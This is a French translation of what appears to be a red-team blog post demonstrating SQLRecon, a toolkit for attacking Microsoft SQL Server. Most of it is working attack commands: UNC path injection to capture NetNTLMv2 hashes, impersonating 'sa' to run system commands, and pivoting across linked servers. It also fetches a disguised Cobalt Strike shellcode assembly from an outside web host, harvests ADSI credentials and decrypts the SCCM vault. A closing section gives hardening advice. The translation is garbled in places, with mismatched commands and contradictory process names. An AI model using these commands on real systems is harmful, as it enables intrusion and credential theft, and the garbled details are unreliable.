Attention aux bases de données : utilisation abusive de Microsoft SQL Server avec SQLRecon.

Au cours de ma carrière, j’ai eu le privilège de jeter un coup d’œil derrière le voile de certaines des plus grandes entreprises du monde. D’après mon expérience, la plupart des secteurs d’activité s’appuient sur des réseaux Windows d’entreprise. En fait, je peux compter sur les doigts d’une main le nombre de fois où j’ai vu un réseau décentralisé de sécurité Zero Trust, un réseau Linux d’entreprise, un réseau macOS ou une alternative à Active Directory (FreeIPA).

Lorsque je navigue dans ces réseaux d’entreprise vastes et souvent complexes, il est courant de découvrir des serveurs Microsoft SQL Server, qui ont généralement été déployés pour soutenir une fonction de l’entreprise. Pour les lecteurs qui ne connaissent pas SQL Server, il s’agit d’un logiciel de base de données relationnelle généralement installé sur un serveur Windows. L’objectif principal de SQL Server est de stocker et de fournir des données aux applications ou aux utilisateurs.

Cet article de blog passe en revue la surface d’attaque présentée par SQL Server et explique comment exploiter les mauvaises configurations et les vulnérabilités à l’aide de l’outil SQLRecon de X-Force Red SQLRecon . En outre, des mesures de défense seront présentées le cas échéant.

Les vulnérabilités et les erreurs de configuration de SQL Server ont été bien documentées. Bien que ces faiblesses semblent avoir toujours existé, le renforcement de SQL Server continue à être souvent négligé par les équipes de défense. Je fais surtout référence au renforcement de la configuration sous-jacente et à la prévention des accès triviaux au service.

L’une des justifications plausibles de cette négligence est qu’il existe des risques plus importants qu’une organisation doit traiter en priorité. En conséquence, le durcissement de SQL Server passe au second plan, car la modification des configurations de base de données de production peut entraîner des problèmes de disponibilité, qui pourraient se traduire par des problèmes opérationnels et finalement affecter la productivité de l’entreprise.

L’une des erreurs de configuration les plus courantes que je continue de constater dans les réseaux d’entreprise est la possibilité pour tout objet de domaine authentifié de se connecter au service SQL en tant que compte à faible privilège. Cela nécessite uniquement un contexte de domaine valide. En d’autres termes, un token valide pour un utilisateur du domaine ou un compte d’ordinateur du domaine.

Pour illustrer un exemple, si la station de travail d’un utilisateur professionnel classique est compromise et qu’une route réseau existe vers un SQL Server mal configuré, il est possible pour un adversaire de :

• Exécuter des commandes SQL limitées sur le serveur SQL Server distant.
• Déterminer les privilèges dont il dispose, ce qui pourrait offrir des opportunités d’escalade via des attaques de type usurpation d’identité.
• Demander à SQL Server de fournir des éléments d’authentification via une requête sollicitée à un chemin UNC (Universal Naming Convention), ce qui peut permettre d’obtenir des identifiants hachés, qui à leur tour peuvent être déchiffrés ou transmis pour effectuer des attaques de type relais.
• Tirer parti des droits attribués à un SQL Server qui est lié à d’autres SQL Servers, ce qui peut entraîner une escalade des privilèges.

Ce ne sont là que quelques exemples de ce qu’un adversaire peut réaliser lorsqu’il évalue un SQL Server mal configuré dans le contexte d’un domaine. La surface d’attaque présentée par SQL Server dépendra toujours de l’environnement et de la configuration auxquels vous êtes confronté.

Ces derniers temps, les opérateurs Red Team ont été tout simplement bénis par la variété d’abus d’Active Directory qui peuvent être exploités pour élever les privilèges sur les réseaux d’entreprise Microsoft. Cependant, alors que les équipes défensives commencent à maîtriser l’atténuation de ces faiblesses, les voies permettant d’élever les privilèges en abusant d’Active Directory ont naturellement tendance à se tarir.

Malgré tout, nous continuons à avancer et à nous frayer un chemin sur la liste proverbiale des attaques, en cherchant avec optimisme des voies d’escalade qui nous aideront à atteindre nos objectifs. Je suis un peu réticent à avouer que, pendant longtemps, l’attaque de SQL Server était assez bas dans ma liste. J’ai plutôt choisi de donner la priorité à des éléments tels que les espaces de stockage partagés, les applications Web internes, les outils DevOps ou l’infrastructure cloud. Vous pouvez probablement voir où je veux en venir...

À un moment donné en 2022, lors d’une mission, je suis arrivé à un point mort après avoir épuisé toutes les voies d’escalade privilégiées. Cela était dû en grande partie à un environnement exceptionnellement durci. C’est du moins ce que je pensais avant de découvrir une grande ferme de serveurs SQL, où il devait forcément y avoir une erreur de configuration ou une vulnérabilité.

À mon insu à l’époque, et seulement après avoir rédigé cet article de blog, j’ai découvert que Kaspersky avait constaté que les attaques récurrentes utilisant SQL Server avaient augmenté de 56 % en 2022. C’est un chiffre stupéfiant.

En tant qu’opérateur Red Team, j’interagis souvent avec des systèmes que j’ai compromis dans les réseaux de nos clients en utilisant un framework de commande et de contrôle (C2). Les clients avec lesquels nous avons la chance de travailler disposent généralement de programmes de cybersécurité matures, d’équipes défensives compétentes et de contrôles de sécurité modernes, tels que des solutions de détection et de réponse sur les terminaux (EDR).

Plusieurs outils ont été développés au fil des ans pour attaquer SQL Server. Celui vers lequel je me tournais toujours pendant mes jours de test d’intrusion était PowerUpSQL . Il s’agit d’un projet créé par Scott Sutherland (@_nullbind), développé en grande partie en PowerShell.

Les solutions EDR peuvent être un adversaire redoutable, car elles détectent à merveille les outils open source malveillants conçus pour la sécurité offensive, en particulier ceux qui s’appuient sur PowerShell. Il ne s’agit pas de minimiser les outils PowerShell de post-exploitation, ils ont leur utilité, mais pas pour le problème auquel j’étais confronté dans l’environnement dans lequel je me trouvais.

Le problème auquel j’étais confronté lors de ma mission était que je devais trouver un moyen de me connecter aux serveurs Microsoft SQL et de commencer à les interroger pour déterminer s’il y avait des erreurs de configuration ou des vulnérabilités. Cependant, utiliser l’un des outils de post-exploitation de SQL Server existants, qui s’appuient sur PowerShell, aurait été un moyen infaillible de se faire repérer par l’équipe défensive. Cela est dû à diverses raisons que je ne vais pas détailler, mais PowerShell n’est pas le vecteur idéal pour lancer vos attaques de post-exploitation en raison de fonctionnalités de sécurité telles que l’AMSI, le mode langage restreint et les différents styles de journalisation.. Ce problème est encore aggravé lorsqu’une solution EDR et d’autres contrôles de journalisation et de surveillance sont en place.

Comme alternative, les opérateurs Red Team choisissent souvent C# comme langage pour développer des outils de post-exploitation, car il offre un moyen facile de s’interfacer avec le framework .NET ainsi qu’avec les API Windows.

Je ne suis en aucun cas un développeur C# ou .NET, mais j’en sais à peu près assez pour écrire des outils qui résolvent un problème auquel je suis confronté. Place à SQLRecon , une boîte à outils SQL en C# conçue pour la reconnaissance offensive et la post-exploitation.

SQLRecon  aide à combler le manque d’outils de post-exploitation en modernisant l’approche que les opérateurs Red Team peuvent adopter lors de l’attaque des serveurs SQL. L’outil a été conçu pour être modulaire, ce qui permet de l’étendre facilement. SQLRecon  est compatible de manière autonome ou au sein d’un ensemble diversifié de frameworks C2. Lors de l’utilisation de ce dernier, SQLRecon  peut être exécuté soit in-process, soit via la méthode traditionnelle de fork and run.

SQLRecon  propose plus de 80 modules. Vous trouverez ci-dessous un aperçu de haut niveau de certaines des fonctionnalités fournies par SQLRecon :

Fournisseurs d’authentification

• Compte de base de données SQL locale
• Authentification de domaine Windows basée sur le token actuel
• Authentification du domaine Windows avec les identifiants fournis par l’utilisateur
• Authentification de domaine Azure
• Authentification locale Azure

Modules d’énumération

• Localiser les serveurs SQL associés à un nom principal de service (SPN)
• Obtenir des informations sur le service SQL
• Déterminer les privilèges au sein de SQL Server
• Lister les bases de données, les tables, les colonnes et les utilisateurs
• Rechercher du contenu dans les bases de données
• Exécuter des requêtes arbitraires
• Énumérer les utilisateurs dont l’identité peut être usurpée
• Identifier les serveurs SQL liés

Exécution de commandes, mouvement latéral et élévation de privilèges

• xp_cmdshell
• Procédures d’automatisation OLE
• Charger et exécuter des assemblies CLR .NET personnalisés
• Tâches SQL Agent
• Collecte des identifiants ADSI

Sécurité opérationnelle

• Validation continue de l’authentification
• Journalisation étendue de la ligne de commande
• Garde-fous d’exécution en fonction de l’activation ou de la désactivation des options de SQL Server
• Gestion des erreurs d’arguments
• Création de contenu SQL alphanumérique aléatoire, le cas échéant
• Nettoyage automatique des données créées dans SQL Server à des fins d’exécution de commandes

Autres

• Possibilité de changer de contexte de base de données
• Se connecter à des serveurs SQL écoutant sur des ports TCP non standard
• Prise en charge des attaques de type usurpation d’identité
• Capacité à énumérer et à attaquer les serveurs SQL liés
• Prise en charge d’une variété d’attaques de bases de données SQL Microsoft System Center Configuration Manager (SCCM) et Microsoft Endpoint Configuration Manager (ECM)
• Toutes les requêtes SQL utilisent  ,System.Data.SqlClient  l'espace de noms développé par Microsoft

Pour obtenir des informations détaillées sur l’utilisation de chaque technique, veuillez consulter le wiki.

Pour préparer le terrain pour les démonstrations à venir, je vais utiliser un poste de travail Windows 10 compromis qui appartient à Jeff Smith(JSmith) dans le kawalabs.local  réseau d’entreprise.

Le poste de travail de Jeff dispose d’une route réseau vers trois serveurs SQL, chacun exécutant différentes versions ; 2016, 2019 et 2022.

Un lien SQL a été configuré entre SQL01  et SQL02 et un autre lien SQL a été configuré entre SQL02  et SQL03 . Pour les lecteurs qui ne sont pas familiers avec les serveurs SQL liés, cela permet à une instance SQL Server d’exécuter des instructions SQL sur une autre instance SQL Server. Par exemple, SQL01  peut exécuter des instructions SQL sur SQL02, et SQL02  peut exécuter des instructions sur SQL03, mais SQL01 ne peut pas exécuter d’instructions surSQL03  et vice versa. Il est courant de voir des serveurs SQL liés dans les réseaux d’entreprise réels.

De plus, un lien Active Directory Services (ADSI) existe entre SQL03  et le contrôleur de domaine principal dans le kawalabs.local  domaine DC01 . Les liens ADSI permettent à SQL Server d’interagir avec les objets Active Directory.

Enfin, le kawalabs.local  domaine a été connecté à un domaine Azure Active Directory, kawalabs.onmicrosoft.com  En utilisant Azure AD Connect. Ceci permet aux utilisateurs d'Active Directory sur site d'accéder à kawalabs.local  pour accéder aux ressources du cloud Azure. Le  kawalabs.onmicrosoft.com  tenant Azure AD contient un serveur SQL qui stocke des données de paiement,ECOM01 .

Figure 1 : Configuration du réseau

De plus, je vais utiliser Cobalt Strike, un framework de commande et de contrôle populaire, pour effectuer des tâches de post-exploitation depuis le poste de travail compromis de Jeff(DESKTOP-LF8Q3C6) . Dans la capture d’écran suivante, j’ai exécuté la whoami  commande. Cela sert simplement à montrer que Jeff n’est pas un utilisateur privilégié et possède des droits de base au sein dukawalabs.local  domaine et du réseau plus large.

Figure 2 : Exécution de la commande whoami

Au moment de la rédaction,SQLRecon possède deux modules d’énumération qui peuvent être utilisés pour découvrir les serveurs SQL Server dans un réseau et obtenir des informations sur une instance SQL Server. La commande suivante énumère les Service Principal Names (SPN) d’Active Directory et identifie s’il existe des SPN définis pour les serveurs SQL Server. Dans le kawalabs.local domaine, un SPN est défini pour deux comptes différents, comme le montre la capture d’écran ci-dessous.

SQLRecon.exe /e:SqlSpns /d:kawalabs.local

Figure 3 : Découverte des serveurs SQL via la collecte de SPN

Le info  module est très utile pour obtenir des informations supplémentaires sur un serveur. L’exemple ci-dessous montre le type d’informations récupéré depuis un SQL Server.

SQLRecon.exe /a:WinToken /h:SQL02 /m:info

Figure 4 : Obtention d’informations sur SQL02

Un grand merci à Daniel Duggan (@_RastaMouse)) pour ses contributions aux modules d’énumération dansModules standard SQLRecon .

Les modules standard sont exécutés sur une seule instance de SQL Server.

Dans l’exemple suivant, j’utilise le AzureAD  fournisseur d’authentification, qui utilise le nom d’utilisateur et le mot de passe d’un compte Azure Active Directory pour s’authentifier sur ECOM01 , une instance SQL située dans le cloud Azure. J’utilise ensuite le whoami  module pour déterminer les privilèges dont dispose Jeff sur ECOM01 .

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami

Figure 5 : Énumération des privilèges SQL pour jsmith@kawalabs.onmicrosoft.com

Par défaut, SQLRecon  se connectera à la master  base de données, car cette base de données existe généralement sur toutes les instances SQL Server. Cependant, vous pouvez facilement lister toutes les différentes bases de données sur les instances SQL Server en utilisant le databases  module.

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases

Figure 6 : Énumération des bases de données sur ECOM01

Vous pouvez vous connecter à d’autres bases de données en spécifiant le nom de la base de données avec l’option /database : et en transmettant tout module que vous souhaitez exécuter. Dans l’exemple ci-dessous, je me connecte à la Payments  base de données sur ECOM01  et exécute une requête SQL personnalisée qui obtiendra tout le contenu de la cc  table.

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"

Figure 7 : Obtention de données de cartes fictives à partir de la cc  table dans la Payments  base de données sur ECOM01

Passons à des modules plus intéressants, SQLRecon  prend en charge l’injection de chemin UNC, qui peut être effectuée par un compte utilisateur à faible privilège, tel que KAWALABS\JSmith Cela peut permettre d’obtenir des identifiants hachés, qui peuvent à leur tour être piratés ou transmis pour effectuer des attaques de type relais. Dans l’exemple suivant, j’utilise le WinToken  fournisseur d’authentification, qui utilise le token pour le KAWALABS\JSmith  compte utilisateur, pour s’authentifier sur SQL02 , un serveur sur site.

SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects

Figure 8 : Injection d’un chemin UNC

Sur la capture d’écran suivante, nous pouvons voir la connexion établie par SQL02  vers un hôte sous notre contrôle (172.16.10.19). Cela permet d’obtenir le hash NetNTLMv2 pour le KAWALABS\mssql_svc  compte de domaine.

Figure 9 : Obtention du hachage NetNTLMv2 pour KAWALABS\mssql_svc

SQLRecon  dispose d’une variété de modules d’exécution de commandes qui peuvent être utilisés pour exécuter des commandes arbitraires sur le système sous-jacent. C’est particulièrement utile si vous souhaitez effectuer une escalade de privilèges et/ou un mouvement latéral. D’importants dispositifs de sécurité ont été mis en place dans SQLRecon pour garantir que la sécurité opérationnelle est activée par défaut. Les deux principaux garde-fous sont :

• Validation continue de l’authentification, où SQLRecon  validera qu’il est possible de s’authentifier auprès du domaine ou de SQL Server avant d’exécuter un module.
• Garde-fous d’exécution, où SQLRecon  validera l’existence de conditions optimales avant d’exécuter tout module qui charge des objets, crée des objets ou exécute des commandes.

xp_cmdshell  est depuis longtemps l’une des méthodes les plus courantes pour exécuter des commandes sur le serveur sous-jacent via une base de données SQL. Dans l’exemple suivant, j’ai utilisé le compte à faible privilège KAWALABS\JSmith  pour tenter de lancer l’ notepad.exe  application sur SQL01 .

SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe

Figure 10 : Démonstration d’un garde-fou empêchant l’exécution d’une commande

Comme le montre l’image ci-dessus, un garde-fou d’exécution est rencontré et un message d’erreur est reçu indiquant que xp_cmdshell  est désactivé. C’est généralement la configuration par défaut sur la plupart des versions de SQL Server. Ce qui est bien, c’est que SQLRecon  possède un enableXp  module, qui activera la xp_cmdshell  configuration. SQLRecon possède également un disableXp  afin que vous puissiez revenir à l’état sécurisé d’origine après avoir exécuté votre commande avec xpCmd .

SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp

Figure 11 : Démonstration d’un autre garde-fou, où l’insuffisance des privilèges empêche l’exécution des commandes

Comme prévu, le compte à faible privilège KAWALABS\JSmith  rencontre un garde-fou d’exécution et reçoit un message indiquant qu’il ne dispose pas des privilèges nécessaires pour l’activer ou désactiver xp_cmdshell  ... ou peut-être que si ?

L’usurpation d’identité SQL est une autorisation spéciale qui permet essentiellement à un utilisateur ou à un groupe d’opérer avec l’autorisation d’un autre utilisateur, ainsi qu’avec ses propres autorisations. La capture d’écran suivante provient de la configuration back-end de SQL02  et démontre que BUILTIN\Users  peut usurper l’identité du sa  compte.

Figure 12 : BUILTIN\Users  peut se faire passer pour le sa  compte sur SQL02

SQLRecon  possède un impersonate  pour aider à déterminer si un compte d’utilisateur peut usurper l’identité d’un autre utilisateur.

SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate

Comme le montre la capture d’écran ci-dessous,KAWALABS\JSmith  le compte utilisateur à faible privilège peut usurper l’identité du sa  compte sur SQL02 . Cela démontre la possibilité d’exécuter des commandes sur l’instance SQL avec des privilèges de type administrateur. De plus, cela signifie que nous pouvons désormais exécuter des commandes système sur le serveur sous-jacent.

Figure 13 : Énumération des comptes pouvant être usurpés sur SQL02

Pour démontrer un autre module d’exécution de commande, SQLRecon  peut exécuter des commandes en tant qu’utilisateur sous-jacent à l’aide de procédures d’automatisation OLE. Cela utilise l’assembly odsole70.dll  pour interagir avec les objets COM afin que wscript.shell  puisse être exploité pour exécuter des commandes système arbitraires.

Les modules d’usurpation d’identité sont toujours précédés de la lettre i , et ces modules nécessitent le nom du compte dont l’identité sera usurpée. Dans l’exemple suivant, je me connecte à SQL02  en tant que compte à faible privilège KAWALABS\JSmith  et j’usurpe l’identité du sa  compte pour activer les procédures d’automatisation OLE sur SQL02 .

a:WinToken /h:SQL02 /i:sa /m:iEnableOle

Figure 14 : Activation des procédures d’automatisation OLE par usurpation d’identité

Maintenant que les procédures d’automatisation OLE sont activées sur SQL02 , je suis en mesure d’exécuter n’importe quelle commande arbitraire sur le serveur sous-jacent dans le contexte du compte utilisateur qui a lancé le processus SQL Server. Dans l’exemple suivant, j’exécute un processus enfant PowerShell qui répertorie le répertoire du même partage que celui utilisé précédemment pour capturer les identifiants NetNTLMv2. Gardez à l’esprit qu’il s’agit en grande partie d’une action de démonstration et non d’une action qui serait généralement effectuée dans le cadre d’une simulation d’adversaire.

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"

Figure 15 : Utilisation de PowerShell pour lister un répertoire sur un hôte distant

Comme le montre la capture d’écran ci-dessus, un objet et une méthode OLE générés de manière aléatoire sont créés, la commande malveillante est ensuite exécutée et les objets OLE sont détruits. C’est intentionnel car nous ne voulons laisser aucune preuve de nos actions.

Dans la capture d’écran suivante, nous pouvons voir que la connexion est établie par leKAWALABS\mssql_svc  compte utilisateur via SQL02  vers un hôte sous notre contrôle (172.16.10.19). Cela permet d’obtenir le hachage NetNTLMv2 pour le KAWALABS \mssql_svc  compte d’ordinateur.

Figure 16 : Obtention du hachage NetNTLMv2 pour KAWALABS\mssql_svc

L’exemple suivant illustre l’utilisation de l’usurpation d’identité pour exécuter tasklist  commande utilisant xp_cmdshell  le SQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist

Figure 17 : Activation xp_cmdshell  et l’exécution des commandes système en utilisant l’usurpation d’identité sur SQL02

C’est toujours une bonne pratique de rétablir les configurations dans leur état d’origine.

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp

Figure 18 : Désactivation des procédures d’automatisation OLE et xp_cmdshell  le SQL02

SQLRecon  peut également lancer des attaques contre des instances SQL Server liées. La capture d’écran suivante provient de la configuration interne deSQL02  et démontre que SQL02  a un lien vers SQL03 . D’après mon expérience, il s’agit d’une configuration courante sur les réseaux des grandes entreprises.

Figure 19 : SQL02  a un lien SQL vers SQL03

La configuration d’un lien entre une instance de SQL Server et une autre nécessite souvent un ensemble d’identifiants privilégiés pour établir et maintenir cette liaison. Cela est bénéfique pour les adversaires car cela permet d’exécuter des commandes sur le SQL Server lié dans le contexte du compte qui a établi la connexion. Un autre point à prendre en compte est que les serveurs liés peuvent être segmentés du réseau sur lequel opère un adversaire. Cela pourrait offrir l’opportunité de franchir les frontières de segmentation et d’entrer dans une zone réseau aux exigences de sécurité plus élevées.

SQLRecon  dispose d’un links  module permettant de déterminer si un serveur SQL Server possède des instances SQL liées.

SQLRecon.exe /a:WinToken /h:SQL02 /m:links

Figure 20 : Énumération des serveurs SQL liés sur SQL02

Les modules liés sont toujours précédés de la lettre l , et ces modules auront besoin du nom d’un serveur lié sur lequel vous souhaitez exécuter des commandes. Dans l’exemple suivant, je me connecte à SQL02  en tant que compte KAWALABS\JSmith  à faible privilège et exécute la lWhoami  commande sur l’instance SQL03  liée.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami

Figure 21 : Énumération des privilèges SQL que nous pouvons obtenir sur SQL03 via SQL02. SQL03  via SQL02

Comme le montre la capture d’écran ci-dessus, nous opérons dans le contexte du sa  compte sur SQL03 . En effet, le compte sa a été utilisé pour établir la liaison SQL à partir de SQL02  à SQL03 .

Tous les modules d’exécution de SQLRecon  sont entièrement pris en charge sur les serveurs SQL Server liés. Dans l’exemple suivant, j’active l’intégration du Common Language Runtime (CLR) sur SQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr

Figure 22 : Activation de l’intégration CLR sur SQL02

L’intégration CLR permet d’importer des assemblages .NET personnalisés dans SQL Server. Ces assemblies sont stockés à l’intérieur d’une procédure stockée avant d’être exécutés. C’est une belle primitive d’attaque par mouvement latéral.

Sur la capture d’écran suivante, je crée un assembly .NET personnalisé compatible CLR SQL Server appelé hollow.dll .  Cela stockera une charge utile Cobalt Strike dans une procédure stockée nommée ExecuteShellcode . La charge utile effectue un process hollowing basique et injecte le shellcode Cobalt Strike dans un processus Internet Explorer nouvellement créé.(iexplore.exe) processus node.js.

Figure 23 : hollow.dll , un assembly .NET compatible avec SQL Server CLR

Si vous souhaitez en savoir plus sur les assemblies .NET personnalisés compatibles avec le CLR SQL Server, veuillez consulter la section Clr duSQLRecon  wiki. Un exemple de hollow.dll  est disponible ici.

Dans la démonstration suivante, j’ai téléchargé hollow.dll  sur un serveur web et renommé l’assembly favicon.png . Je donne l’instruction au serveur SQL03  lié de télécharger favicon.png  depuis un serveur web et d’effectuer les étapes nécessaires pour importer l’assembly personnalisé dans une procédure stockée SQL Server et exécuter la charge utile. Cela permet d’obtenir une balise Cobalt Strike dans le contexte de l'utilisateur KAWALABS\mssql_svc  sur SQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode

Figure 24 : Obtention d’une balise Cobalt Strike dans un contexte de KAWALABS\mssql_svc  le SQL03

Bien entendu, l’exemple précédent exige que SQL03  dispose d’un accès à Internet pour que l’assembly puisse être téléchargé depuis un serveur web public. Dans certains cas, il n’est pas possible ou souhaitable de télécharger une ressource étrangère à partir d’un serveur web public. Ainsi SQLRecon  permet de charger des assemblies personnalisés directement depuis le système de fichiers de l’hôte compromis, ou depuis un partage SMB. Dans la démonstration suivante, j’ai téléchargé hollow.dll  sur un serveur SMB local et renommé l’assembly Reports.xlsx . Je donne l’instruction au serveur SQL03  lié de télécharger Reports.xlsx  depuis le serveur SMB et d’effectuer les étapes nécessaires pour importer l’assembly personnalisé dans une procédure stockée SQL Server et exécuter la charge utile. Cela permet d’obtenir un beacon Cobalt Strike dans le contexte du KAWALABS\mssql_svc  sur SQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode

Figure 25 : Obtention d’une balise Cobalt Strike dans le contexte de

 KAWALABS\mssql_svc<code> on <code>SQL03

SQLRecon  peut également effectuer des attaques contre des instances de serveur ADSI liées pour obtenir des identifiants en clair pour les comptes de domaine. Pour plus d’informations sur les techniques ADSI, veuillez consulter l’article de blog de Tarlogic. La capture d’écran suivante provient de la configuration backend SQL03  et démontre que SQL03  possède un lien ADSI vers le contrôleur de domaine principal dans le kawalabs.local  domaine DC01 . Ce lien ADSI est représenté par l’objet linkADSI  .

Figure 26 : SQL03  possède un lien ADSI vers DC01

La configuration d’un lien ADSI depuis une instance de SQL Server vers un contrôleur de domaine Active Directory ne nécessite pas nécessairement des identifiants privilégiés. Cependant, au cours d’opérations réelles, j’ai vu des cas où le principe du moindre privilège n’a pas été appliqué.

Dans l’exemple suivant, j’utilise le lLinks  module pour se connecter d’abord à SQL02 , puis interroger SQL03  pour trouver d’autres serveurs SQL liés. On peut considérer qu’il s’agit d’un scénario de double lien.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks

​Figure 27 : Énumération des liens sur SQL03  depuis SQL02

Maintenant que nous avons vérifié l’existence d’un lien ADSI sur SQL03 , nous pouvons tirer parti du module lAdsi  pour obtenir les identifiants de domaine en texte clair utilisés pour configurer la connexion ADSI à partir de SQL03  à DC01 . Cela implique de téléverser un assembly CLR personnalisé contenant un serveur LDAP dans une nouvelle routine d’exécution SQL Server sur SQL03 . Le serveur LDAP s’exécutera alors et écoutera les connexions locales uniquement sur un port fourni par l’utilisateur, ici 49103. Nous tirons parti des tâches de l’Agent SQL Server sur SQL03 pour orienter les identifiants utilisés pour configurer la connexion ADSI afin d’envoyer une requête LDAP au serveur LDAP local sur le port 49103. Cette redirection temporaire d’authentification LDAP aboutit à l’obtention des identifiants de domaine en texte clair. Il convient de noter que les modules Adsi et iAdsi n’utilisent pas les tâches d’agent SQL Server pour lancer le processus de sollicitation LDAP, mais utilisent plutôt des requêtes SQL standard.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103

Figure 28 : Attaque de collecte d’identifiants ADSI via un double lien

L’une des plus grandes extensions de SQLRecon  vient de mon collègue Dave Cossa (@G0ldenGunSec), qui a introduit une variété de modules pouvant être exploités pour abuser de Microsoft System Center Configuration Manager (SCCM) et de Microsoft Endpoint Configuration Manager (ECM). Les modules SCCM ont été développés à la suite d’une mission réelle, où l’exploitation de la base de données SQL Server de SCCM a facilité notre progression vers les objectifs. Dans la plupart des cas, pour interagir avec la base de données SCCM, un contexte de privilège élevé doit être acquis, ou l’accès au serveur SCCM doit être obtenu. Dans les exemples ci-dessous, j’ai un beacon Cobalt Strike s’exécutant dans le contexte du KAWALABS\mssccm_svc  compte sur un serveur ECM, MECM01 .

À partir de maintenant, je désignerai simplement ECM et SCCM par le terme SCCM.

Dans l’exemple suivant, j’utilise le module databases pour énumérer lesdatabases qui existent dans l’instance SQL Server de MECM01 .

SQLRecon.exe /a:WinToken /h:MECM01 /m:databases

Figure 29 : Énumération des bases de données sur MECM01

Comme on le voit sur la capture d’écran ci-dessus, la CM_KAW  existe, qui est probablement la base de données configurée pour SCCM sur ce serveur.

Les modules SCCM sont toujours précédés de la lettre s , et ces modules nécessitent le nom de la base de données SCCM sur laquelle vous souhaitez exécuter des commandes. Dans l’exemple suivant, je me connecte au CM_KAW  base de données sur MECM01  en tant que KAWALABS\mssccm_svc  compte et exécutez la sUsers  commande. Ce module énumère tous les principaux de sécurité configurés pour se connecter au serveur SCCM.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

Figure 30 : Énumération de tous les utilisateurs pouvant se connecter à SCCM via la base de données SQL Server de SCCM

Il est également possible d’énumérer les tâches configurées dans SCCM en utilisant le sTaskList  module.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

Figure 31 : Énumération des tâches configurées dans SCCM via la base de données SQL Server de SCCM

SCCM doit généralement stocker des identifiants dans un coffre-fort, qui sont utilisés pour s’authentifier sur des systèmes ou des ressources dans un environnement afin de déployer des packages logiciels ou d’effectuer toute autre action diverse fournie par SCCM. À l’aide du module sCredentials  , nous pouvons obtenir une liste d’identifiants stockés dans le coffre-fort.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials

Figure 32 : Obtention des identifiants stockés dans le coffre-fort via la base de données SQL Server de SCCM

Dans la capture d’écran ci-dessus, nous pouvons voir qu’un identifiant a été stocké dans le coffre-fort, et il s’agit de l’identifiant pour le KAWALABS\mssccm_svc  compte.

En utilisant la logique d’Adam Chester (@_xpn_), il est possible de déchiffrer les identifiants stockés dans le coffre-fort SCCM et d’obtenir le mot de passe en clair des comptes stockés. Cette opération nécessite des privilèges d’administrateur local sur le serveur SCCM. Dans la capture d’écran suivante, j’utilise le module sDecryptCredentials  pour déchiffrer l’identifiant stocké dans le coffre-fort pour leKAWALABS\mssccm_svc  compte.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials

Figure 33 : Déchiffrement des identifiants SCCM stockés dans un coffre-fort

Pour empêcher les attaquants d’abuser de SQL Server, les défenseurs peuvent adopter une approche en couches lors de la mise en œuvre des contrôles de sécurité. Tout d’abord, je vous recommande vivement de lire les directives officielles de Microsoft sur SQL Server bonnes pratiques.

La prochaine étape devrait être de suivre les conseils de prévention, de détection et d’atténuation contenus dans leSQLRecon  wiki, qui contient d'excellentes considérations défensives. J'ai sélectionné quelques-uns des contrôles les plus importants à mettre en œuvre et je les ai listés ci-dessous.

Les contrôles de sécurité suivants doivent être pris en compte pour la mise en œuvre au niveau du réseau.

• Assurez-vous que les routes réseau vers SQL Server ont été prises en compte et limitées à un ensemble autorisé de systèmes, ou sous-réseaux. Les postes de travail ont rarement besoin de communiquer directement avec SQL Server. Envisagez de bloquer l’accès à TCP 1433 si possible.
• Vérifiez que les outils de journalisation et de surveillance réseau capturent les requêtes SQL qui traversent les frontières réseau. Il serait inhabituel qu’un poste de travail envoie des requêtes SQL à un serveur SQL.

postes de travail et serveurs dans l’environnement.

• Vérifiez que les contrôles de sécurité basés sur l’hôte, tels que les solutions de détection et de réponse sur les terminaux, sont activés et que les signatures des produits sont régulièrement mises à jour.
• Les défenseurs devraient s’assurer que le .NET Framework v4.8 est installé sur les terminaux Windows et que le produit de sécurité basé sur l’hôte utilisé prend en charge l’AMSI pour .NET. Cela permet de scanner les assemblies .NET en mémoire.
• Activez ou configurez une solution de liste d’applications autorisées pour empêcher les fichiers binaires non signés, tels que SQLRecon , d’être exécutés directement sur le terminal.

• Assurez-vous que les directives de durcissement ont été respectées sur le système d’exploitation Windows Server sous-jacent. Envisagez d’installer uniquement les composants nécessaires de la base de données SQL.
• Assurez-vous que les serveurs SQL sont inclus dans la politique de gestion des correctifs de l’entreprise et que les correctifs sont régulièrement appliqués au service SQL et au SQL Server.
• Envisagez de restreindre ou de supprimer le compte BUILTIN\Users  pour empêcher toute authentification sur les instances SQL Server.
